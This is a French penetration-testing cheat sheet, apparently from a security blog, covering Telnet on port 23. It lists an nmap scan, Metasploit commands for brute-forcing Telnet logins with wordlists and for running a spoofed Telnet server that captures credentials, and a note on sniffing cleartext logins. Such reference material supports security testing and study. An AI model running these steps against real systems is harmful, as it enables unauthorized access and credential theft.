> For the complete documentation index, see [llms.txt](https://blog.s1rn3tz.ovh/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.s1rn3tz.ovh/hacking-protocols/telnet-port-23.md).

# Telnet - port 23

## Scan

*`$ nmap -sV -p23 <target IP>`*

## Connexion

*`$ telnet <target IP> [<port>]`*

## Bruteforce

Avec metasploit:

```bash
msf6 > use auxiliary/scanner/telnet/telnet_login
msf6 auxiliary(scanner/telnet/telnet_login) > set rhosts <target IP>
msf6 auxiliary(scanner/telnet/telnet_login) > set user_file user.txt
msf6 auxiliary(scanner/telnet/telnet_login) > set pass_file pass.txt
msf6 auxiliary(scanner/telnet/telnet_login) > set stop_on_success true
msf6 auxiliary(scanner/telnet/telnet_login) > exploit
```

## MITM: telnet spoofing

Avec metasploit:

```bash
msf6 > use auxiliary/server/capture/telnet
msf6 auxiliary(server/capture/telnet) > set srvhost <attacker IP>
msf6 auxiliary(server/capture/telnet) > set banner This is a telnet spoofing
msf6 auxiliary(server/capture/telnet) > exploit
```

Maintenant il ne reste plus qu'a attendre une connexion pour récupérer des identifiants de connexion.

## Credential Sniffing

Par défaut, le protocole telnet ne chiffre pas les données entrées. Il est donc possible d'intercepter les identifiants de connexion d'un utilisateur simplement à l'aide de wireshark, tcpdump ou autre outil de sniffing.
